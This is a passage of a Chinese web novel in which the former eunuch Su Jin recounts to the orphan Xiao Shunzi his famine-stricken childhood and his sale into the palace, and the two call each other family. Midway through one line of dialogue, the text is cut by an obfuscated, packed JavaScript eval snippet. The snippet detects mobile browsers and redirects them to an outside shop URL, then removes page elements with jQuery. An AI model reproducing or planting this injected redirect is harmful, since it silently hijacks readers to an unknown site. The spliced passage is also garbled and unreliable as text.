王世安站在门口，看着外面的街。街上有人挑着担子卖菜，有人牵着孩子逛街，有人坐在门口晒太阳。一切都很平常，很安静。 他说：“苏瑾，保重。” 苏瑾说：“你也是。” 王世安上了马车，走了。 苏瑾站在门口，看着马车消失在街角。 小顺子走过来，说：“苏公公，那是谁？” 苏瑾说：“一个朋友。” 小顺子说：“朋友？” 苏瑾说：“嗯。” 小顺子说：“您还有朋友？” 苏瑾看着他，说：“你不是吗？” 小顺子愣了一下，然后笑了。他说：“我是。我是您朋友。” 苏瑾也笑了。 他转身走回茶馆，继续坐在柜台后面，拨弄着算盘珠子。 窗外，太阳慢慢落下去了。 --- 15. 夜谈[番外] 这天夜里，苏瑾睡不着。 他躺在床上，翻来覆去，就是睡不着。窗外的月光透进来，照在地上，白白的，凉凉的。 他听见地上有动静。小顺子也醒了。 小顺子说：“苏公公，您也睡不着？” 苏瑾说：“嗯。” 小顺子说：“想什么呢？” 苏瑾说：“没什么。” 小顺子说：“您骗人。” 苏瑾笑了。他说：“你怎么知道我骗人？” 小顺子说：“您每次想事情，眼睛就眯着。您现在眼睛眯着。” 苏瑾愣了一下。他说：“你倒观察得仔细。” 小顺子说：“那是。我天天跟您睡一个屋。” 苏瑾没说话。 过了一会儿，小顺子说：“苏公公，您给我讲讲您小时候的事吧。” 苏瑾说：“小时候的事？” 小顺子说：“嗯。您从来没讲过。” 苏瑾沉默了一会儿。然后他说：“小时候，我家很穷。” 小顺子没说话，听着。 苏瑾说：“我爹是种地的，我娘在家做饭。家里有七口人，我爷爷奶奶，我爹娘，我两个姐姐，还有我。地只有三亩，打下来的粮食不够吃。每年春天，都要借粮。借了还，还了借，永远还不清。” 小顺子说：“那您怎么进宫的？” 苏瑾说：“卖进去的。” 小顺子愣住了。 苏瑾说：“那年我九岁，家乡遭了灾，粮食颗粒无收。地里颗粒无收，树皮都被扒光了吃。村里人一个一个饿死，先是老人，然后是孩子。我爷爷就是那年饿死的。” 小顺子说：“您爷爷……” 苏瑾说：“嗯。他把自己那份粮食省下来给我们，自己饿死了。死的时候，瘦得只剩一把骨头。” 小顺子沉默了。 苏瑾说：“爷爷死后，家里实在活不下去了。我爹就把我卖了。卖给人贩子，换了二两银子。” 小顺子说：“二两银子？” 苏瑾说：“嗯。二两银子，一条命。” 小顺子说：“您恨您爹吗？” 苏瑾说：“不恨。” 小顺子说：“为什么？” 苏瑾说：“他也没办法。不卖我，全家都得死。卖了，至少其他人能活。” 小顺子说：“那您后来回去过吗？” 苏瑾说：“没有。” 小顺子说：“为什么？” 苏瑾说：“不知道他们在哪儿。那年逃荒，他们都走了。后来听说，去了北边。再后来，就不知道了。” 小顺子说：“您不想找找？” 苏瑾说：“找了。刚出宫那几年，托人打听过。没打听到。” 小顺子说：“那……他们还活着吗？” 苏瑾说：“不知道。” 小顺子沉默了。 过了一会儿，他说：“苏公公，您想他们吗？” 苏瑾说：“想。刚进宫那几年，天天想。晚上睡不着，就想着他们在哪儿，过得好不好。后来就不想了。” 小顺子说：“为什么不想了？” 苏瑾说：“想了也没用。他们不知道我在哪儿，我也不知道他们在哪儿。想了，只是让自己难受。” 小顺子没说话。 屋里安静下来。 过了一会儿，小顺子说：“苏公公，我没有爹娘。” 苏瑾说：“我知道。” 小顺子说：“我是孤儿。从小在街上要饭，差点饿死。是您救了我，给了我那碗饭。” 苏瑾说：“一碗饭而已。” 小顺子说：“那碗饭，救了我的命。”他顿了顿，“我记得那天，我三天没吃东西了，饿得走不动路，靠在墙根等死。您从宫里出来，看见我，让人给我端了碗饭。我吃完，您说，孩子，活着，就有希望。” 苏瑾说：“我说过这话？” 小顺子说：“说过。我记得清清楚楚。” 苏瑾没说话。 小顺子说：“苏公公，您是我唯一的亲人。” 苏瑾沉默了一会儿。然后他说：“你也是我唯一的亲人。” 小顺子愣住了。 他张了张嘴，想说什么，却说不出来。 眼泪流了下来。 苏瑾说：“哭什么？” 小顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459039|201258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子说：“高兴。” 苏瑾笑了。他说：“高兴还哭？” 小顺子说：“高兴也哭。” 苏瑾没说话。 过了一会儿，小顺子说：“苏公公，咱们以后就一直这样吗？” 苏瑾说：“嗯。” 小顺子说：“一直在这儿，开茶馆，种菜，晒枣，喝茶？” 苏瑾说：“嗯。” 小顺子说：“那挺好。” 苏瑾说：“挺好。” 小顺子说：“等您老了，走不动了，我伺候您。” 苏瑾说：“好。” 小顺子说：“等我老了，走不动了，您也伺候我。” 苏瑾说：“好。” 小顺子笑了。 他笑着笑着，又哭了。 苏瑾说：“别哭了。睡吧。” 小顺子说：“嗯。” 两个人都不说话了。 窗外，月亮慢慢落下去了。 天快亮了。 苏瑾闭着眼睛，却睡不着。 他想起小时候的事，想起爷爷，想起爹娘，想起那两个姐姐。他不知道他们还在不在，过得好不好。他只知道，他再也见不到他们了。 但他有小顺子。 小顺子是他捡来的，是他救的，是他养大的。小顺子叫他苏公公，把他当亲人。 这就够了。 天亮了。 阳光从窗户透进来，照在屋里，暖暖的。 小顺子爬起来，去烧水。 苏瑾也爬起来，穿上衣服，走到院子里。 枣树静静地站着，枝丫伸向天空。阳光照在树上，叶子闪闪发光。 他站在枣树下，看着那棵树。 小顺子端着两碗茶走出来，递给他一碗。 他接过来，喝了一口。 茶是热的，暖暖的。 小顺子说：“苏公公，今天干什么？” 苏瑾说：“开门，做生意。” 小顺子说：“好。” 两个人喝完茶，去卸门板。 街上渐渐热闹起来。 新的一天，开始了。 ---